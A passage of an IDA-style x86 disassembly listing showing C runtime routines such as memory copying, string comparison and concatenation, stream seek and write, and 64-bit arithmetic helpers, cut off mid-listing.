add eax, esi cmp edi, esi jbe short loc_41D420 cmp edi, eax jb loc_41D598 loc_41D420: ; CODE XREF: sub_41D400+16j test edi, 3 jnz short loc_41D43C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- loc_41D43C: ; CODE XREF: sub_41D400+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D454 and eax, 3 add ecx, eax jmp dword ptr loc_41D45C+4[eax*4] ; --------------------------------------------------------------------------- loc_41D454: ; CODE XREF: sub_41D400+46j jmp dword ptr loc_41D558[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D45C: ; CODE XREF: sub_41D400+31j ; sub_41D400+8Ej ... jmp off_41D4DC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D470 dd offset loc_41D49C dd offset loc_41D4C0 ; --------------------------------------------------------------------------- loc_41D470: ; DATA XREF: sub_41D400+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D49C: ; DATA XREF: sub_41D400+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D4C0: ; DATA XREF: sub_41D400+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D4DC dd offset loc_41D53F ; DATA XREF: sub_41D400:loc_41D45Cr dd offset loc_41D52C dd offset loc_41D524 dd offset loc_41D51C dd offset loc_41D514 dd offset loc_41D50C dd offset loc_41D504 dd offset loc_41D4FC ; --------------------------------------------------------------------------- loc_41D4FC: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D504: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D50C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D514: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D51C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D524: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D52C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D53F: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400:off_41D4DCo jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D548 dd offset loc_41D558 ; DATA XREF: sub_41D400+35r ; sub_41D400+92r ... dd offset loc_41D560 dd offset loc_41D56C dd offset loc_41D580 ; --------------------------------------------------------------------------- loc_41D558: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D560: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D56C: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D580: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D598: ; CODE XREF: sub_41D400+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D5CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D5C0: ; CODE XREF: sub_41D400+1B1j ; sub_41D400+208j ... neg ecx jmp off_41D690[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D5CC: ; CODE XREF: sub_41D400+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D5E4 and eax, 3 sub ecx, eax jmp dword ptr loc_41D5E4+4[eax*4] ; --------------------------------------------------------------------------- loc_41D5E4: ; CODE XREF: sub_41D400+1D6j ; DATA XREF: sub_41D400+1DDr jmp off_41D6E0[ecx*4] ; --------------------------------------------------------------------------- align 4 clc aad 41h add [eax], bl setalc inc ecx add [eax-2Ah], al inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D694 dd offset loc_41D69C dd offset loc_41D6A4 dd offset loc_41D6AC dd offset loc_41D6B4 dd offset loc_41D6BC dd offset loc_41D6C4 off_41D690 dd offset loc_41D6D7 ; DATA XREF: sub_41D400+1C2r ; --------------------------------------------------------------------------- loc_41D694: ; DATA XREF: sub_41D400+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D69C: ; DATA XREF: sub_41D400+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D6A4: ; DATA XREF: sub_41D400+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D6AC: ; DATA XREF: sub_41D400+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D6B4: ; DATA XREF: sub_41D400+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D6BC: ; DATA XREF: sub_41D400+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D6C4: ; DATA XREF: sub_41D400+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D6D7: ; CODE XREF: sub_41D400+1C2j ; DATA XREF: sub_41D400:off_41D690o jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D6E0 dd offset loc_41D6F0 ; DATA XREF: sub_41D400+1B7r ; sub_41D400:loc_41D5E4r ... dd offset loc_41D6F8 dd offset loc_41D708 dd offset loc_41D71C ; --------------------------------------------------------------------------- loc_41D6F0: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D6F8: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D708: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D71C: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D400 endp ; =============== S U B R O U T I N E ======================================= sub_41D735 proc near ; CODE XREF: sub_40DA40+34p ; sub_40DA40+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BCAD pop ecx pop ecx retn sub_41D735 endp ; =============== S U B R O U T I N E ======================================= sub_41D743 proc near ; CODE XREF: sub_41D7B0+4p arg_0 = dword ptr 4 push esi push dword_4DADB4 call sub_422548 mov edx, dword_4DADB4 pop ecx mov ecx, dword_4DADB0 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D7A2 push edx call sub_422548 add eax, 10h push eax push dword_4DADB4 call sub_41BB48 add esp, 0Ch test eax, eax jnz short loc_41D785 retn ; --------------------------------------------------------------------------- loc_41D785: ; CODE XREF: sub_41D743+3Fj mov ecx, dword_4DADB0 sub ecx, dword_4DADB4 mov dword_4DADB4, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DADB0, ecx loc_41D7A2: ; CODE XREF: sub_41D743+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DADB0, 4 retn sub_41D743 endp ; =============== S U B R O U T I N E ======================================= sub_41D7B0 proc near ; CODE XREF: sub_40DB2D+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D743 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D7B0 endp ; --------------------------------------------------------------------------- push 80h call sub_41BC9B test eax, eax pop ecx mov dword_4DADB4, eax jnz short loc_41D7E3 push 18h call sub_41E1C9 mov eax, dword_4DADB4 pop ecx loc_41D7E3: ; CODE XREF: ___:0041D7D4j and dword ptr [eax], 0 mov eax, dword_4DADB4 mov dword_4DADB0, eax retn ; =============== S U B R O U T I N E ======================================= sub_41D7F1 proc near ; CODE XREF: sub_40DB4F+7Ap ; sub_40DB4F+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41D805 loc_41D7FD: ; CODE XREF: sub_41D7F1+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41D7FD loc_41D805: ; CODE XREF: sub_41D7F1+Aj mov edx, [esp+arg_4] push esi loc_41D80A: ; CODE XREF: sub_41D7F1+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41D80A pop esi retn sub_41D7F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D81B proc near ; CODE XREF: ___:0040E534p var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 27B0000h nop lea eax, [ebp+var_20] push eax call near ptr 2890000h nop mov ax, [ebp+var_16] cmp ax, word_4D9782 jnz short loc_41D880 mov ax, [ebp+var_18] cmp ax, word_4D9780 jnz short loc_41D880 mov ax, [ebp+var_1A] cmp ax, word_4D977E jnz short loc_41D880 mov ax, [ebp+var_1E] cmp ax, word_4D977A jnz short loc_41D880 mov ax, [ebp+var_20] cmp ax, word_4D9778 jnz short loc_41D880 mov eax, dword_4D9770 jmp short loc_41D8C5 ; --------------------------------------------------------------------------- loc_41D880: ; CODE XREF: sub_41D81B+28j ; sub_41D81B+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2880000h cmp eax, 0FFFFFFFFh jz short loc_41D8AD cmp eax, 2 jnz short loc_41D8A9 cmp [ebp+var_32], 0 jz short loc_41D8A9 cmp [ebp+var_24], 0 jz short loc_41D8A9 push 1 pop eax jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8A9: ; CODE XREF: sub_41D81B+7Aj ; sub_41D81B+81j ... xor eax, eax jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8AD: ; CODE XREF: sub_41D81B+75j or eax, 0FFFFFFFFh loc_41D8B0: ; CODE XREF: sub_41D81B+8Cj ; sub_41D81B+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4D9778 movsd movsd movsd movsd pop edi mov dword_4D9770, eax pop esi loc_41D8C5: ; CODE XREF: sub_41D81B+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422571 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D8F5 mov [ecx], eax locret_41D8F5: ; CODE XREF: sub_41D81B+D6j leave retn sub_41D81B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D900 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4D97C8 cmp dword ptr [eax+8], 0 jnz short loc_41D953 mov al, 0FFh mov edi, edi loc_41D91C: ; CODE XREF: sub_41D900+28j ; sub_41D900+48j or al, al jz short loc_41D94E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D91C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D91C sbb al, al sbb al, 0FFh loc_41D94E: ; CODE XREF: sub_41D900+1Ej movsx eax, al jmp short loc_41D987 ; --------------------------------------------------------------------------- loc_41D953: ; CODE XREF: sub_41D900+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D95C: ; CODE XREF: sub_41D900+68j ; sub_41D900+80j or al, al jz short loc_41D987 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D95C push eax push ebx call sub_41DEEC mov ebx, eax add esp, 4 call sub_41DEEC add esp, 4 cmp bl, al jz short loc_41D95C sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D987: ; CODE XREF: sub_41D900+51j ; sub_41D900+5Ej pop ebx pop esi pop edi leave retn sub_41D900 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DA08 mov edi, [esp+14h] test edi, edi jz short loc_41D9AB cmp edi, 1 jz short loc_41D9AB cmp edi, 2 jnz short loc_41DA08 loc_41D9AB: ; CODE XREF: ___:0041D99Fj ; ___:0041D9A4j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D9C2 push esi call sub_4226CD add [esp+14h], eax pop ecx xor edi, edi loc_41D9C2: ; CODE XREF: ___:0041D9B3j push esi call sub_41E32B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D9D7 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D9EB ; --------------------------------------------------------------------------- loc_41D9D7: ; CODE XREF: ___:0041D9CEj test al, 1 jz short loc_41D9EB test al, 8 jz short loc_41D9EB test ah, 4 jnz short loc_41D9EB mov dword ptr [esi+18h], 200h loc_41D9EB: ; CODE XREF: ___:0041D9D5j ; ___:0041D9D9j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422633 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DA15 ; --------------------------------------------------------------------------- loc_41DA08: ; CODE XREF: ___:0041D997j ; ___:0041D9A9j mov dword_4D9714, 16h or eax, 0FFFFFFFFh loc_41DA15: ; CODE XREF: ___:0041DA06j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_41364F+19Ep ; sub_4143AC+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DA39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DA39: ; CODE XREF: sub_41DA20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA54 proc near ; CODE XREF: ___:00416640p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DA78 xor eax, eax jmp loc_41DB45 ; --------------------------------------------------------------------------- loc_41DA78: ; CODE XREF: sub_41DA54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DA8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DA92 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41DA54+2Dj mov [ebp+arg_C], 1000h loc_41DA92: ; CODE XREF: sub_41DA54+35j ; sub_41DA54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DAC6 mov eax, [esi+4] test eax, eax jz short loc_41DAC6 cmp ebx, eax mov edi, ebx jb short loc_41DAAC mov edi, eax loc_41DAAC: ; CODE XREF: sub_41DA54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CAB0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DB0C ; --------------------------------------------------------------------------- loc_41DAC6: ; CODE XREF: sub_41DA54+47j ; sub_41DA54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DB11 test ecx, ecx jz short loc_41DADA push esi call sub_41E32B test eax, eax pop ecx jnz short loc_41DB53 loc_41DADA: ; CODE XREF: sub_41DA54+79j cmp [ebp+arg_C], 0 jz short loc_41DAED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DAEF ; --------------------------------------------------------------------------- loc_41DAED: ; CODE XREF: sub_41DA54+8Aj mov edi, ebx loc_41DAEF: ; CODE XREF: sub_41DA54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_422825 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DB4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DB4A loc_41DB0C: ; CODE XREF: sub_41DA54+70j mov edi, [ebp+var_4] jmp short loc_41DB3A ; --------------------------------------------------------------------------- loc_41DB11: ; CODE XREF: sub_41DA54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F4BF pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DB53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DB3A mov [ebp+arg_C], 1 loc_41DB3A: ; CODE XREF: sub_41DA54+BBj ; sub_41DA54+DDj test ebx, ebx jnz loc_41DA92 mov eax, [ebp+arg_8] loc_41DB45: ; CODE XREF: sub_41DA54+1Fj ; sub_41DA54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DB4A: ; CODE XREF: sub_41DA54+ADj ; sub_41DA54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DB55 ; --------------------------------------------------------------------------- loc_41DB53: ; CODE XREF: sub_41DA54+84j ; sub_41DA54+CFj mov eax, edi loc_41DB55: ; CODE XREF: sub_41DA54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DB45 sub_41DA54 endp ; =============== S U B R O U T I N E ======================================= sub_41DB5E proc near ; CODE XREF: sub_416C63+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 269058Ah cmp eax, 0FFFFFFFFh jnz short loc_41DB7E nop call near ptr 2680DCDh push eax call sub_420314 pop ecx loc_41DB7A: ; CODE XREF: sub_41DB5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DB7E: ; CODE XREF: sub_41DB5E+Dj test al, 1 jz short loc_41DB9F test [esp+arg_4], 2 jz short loc_41DB9F mov dword_4D9714, 0Dh mov dword_4D9718, 5 jmp short loc_41DB7A ; --------------------------------------------------------------------------- loc_41DB9F: ; CODE XREF: sub_41DB5E+22j ; sub_41DB5E+29j xor eax, eax retn sub_41DB5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DBB0 proc near ; CODE XREF: sub_416C7D+3Fp ; sub_41AE75+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DBD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DC13 ; --------------------------------------------------------------------------- loc_41DBD2: ; CODE XREF: sub_41DBB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DBE0: ; CODE XREF: sub_41DBB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DBE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DC0E cmp edx, [esp+8+arg_4] ja short loc_41DC0E jb short loc_41DC0F cmp eax, [esp+8+arg_0] jbe short loc_41DC0F loc_41DC0E: ; CODE XREF: sub_41DBB0+4Ej ; sub_41DBB0+54j dec esi loc_41DC0F: ; CODE XREF: sub_41DBB0+56j ; sub_41DBB0+5Cj xor edx, edx mov eax, esi loc_41DC13: ; CODE XREF: sub_41DBB0+20j pop esi pop ebx retn 10h sub_41DBB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DC20 proc near ; CODE XREF: sub_416C7D+2Dp ; sub_41AE75+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DC41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC41: ; CODE XREF: sub_41DC20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DC4F: ; CODE XREF: sub_41DC20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DC4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DC7A cmp edx, [esp+4+arg_4] ja short loc_41DC7A jb short loc_41DC82 cmp eax, [esp+4+arg_0] jbe short loc_41DC82 loc_41DC7A: ; CODE XREF: sub_41DC20+4Aj ; sub_41DC20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DC82: ; CODE XREF: sub_41DC20+52j ; sub_41DC20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DC91: ; CODE XREF: sub_41DC20+1Fj pop ebx retn 10h sub_41DC20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCA0 proc near ; CODE XREF: sub_416D8D+5Fp ; sub_416D8D+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DCC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DCC1: ; CODE XREF: sub_41DCA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DCDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DCDD: ; CODE XREF: sub_41DCA0+27j or eax, eax jnz short loc_41DCF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DD3A ; --------------------------------------------------------------------------- loc_41DCF9: ; CODE XREF: sub_41DCA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DD07: ; CODE XREF: sub_41DCA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DD07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DD35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DD35 jb short loc_41DD36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DD36 loc_41DD35: ; CODE XREF: sub_41DCA0+85j ; sub_41DCA0+8Bj dec esi loc_41DD36: ; CODE XREF: sub_41DCA0+8Dj ; sub_41DCA0+93j xor edx, edx mov eax, esi loc_41DD3A: ; CODE XREF: sub_41DCA0+57j dec edi jnz short loc_41DD44 neg edx neg eax sbb edx, 0 loc_41DD44: ; CODE XREF: sub_41DCA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DCA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD4A proc near ; CODE XREF: sub_41743B+BFp ; sub_41743B+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4D97D0 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DD7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DDE5 loc_41DD66: ; CODE XREF: sub_41DD4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DD77 cmp cl, 7Ah jg short loc_41DD77 sub cl, 20h mov [edx], cl loc_41DD77: ; CODE XREF: sub_41DD4A+21j ; sub_41DD4A+26j inc edx cmp [edx], bl jnz short loc_41DD66 jmp short loc_41DDE5 ; --------------------------------------------------------------------------- loc_41DD7E: ; CODE XREF: sub_41DD4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4229D2 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DDD7 push edi call sub_41BC9B cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DDD7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_41DDD7 push [ebp+var_4] push [ebp+arg_0] call sub_41C620 pop ecx pop ecx loc_41DDD7: ; CODE XREF: sub_41DD4A+53j ; sub_41DD4A+61j ... push [ebp+var_4] call sub_41BA31 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DDE5: ; CODE XREF: sub_41DD4A+1Aj ; sub_41DD4A+32j pop ebx leave retn sub_41DD4A endp ; =============== S U B R O U T I N E ======================================= sub_41DDE8 proc near ; CODE XREF: sub_417E35+1A8p arg_0 = dword ptr 4 cmp dword_43A88C, 1 jle short loc_41DDFF push 4 push [esp+4+arg_0] call sub_41F44A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DDFF: ; CODE XREF: sub_41DDE8+7j mov eax, [esp+arg_0] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 4 retn sub_41DDE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DE10 proc near ; CODE XREF: sub_420445+76p ; sub_420445+88p ... arg_0 = dword ptr 4 cmp dword_43A88C, 1 jle short loc_41DE27 push 8 push [esp+4+arg_0] call sub_41F44A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DE27: ; CODE 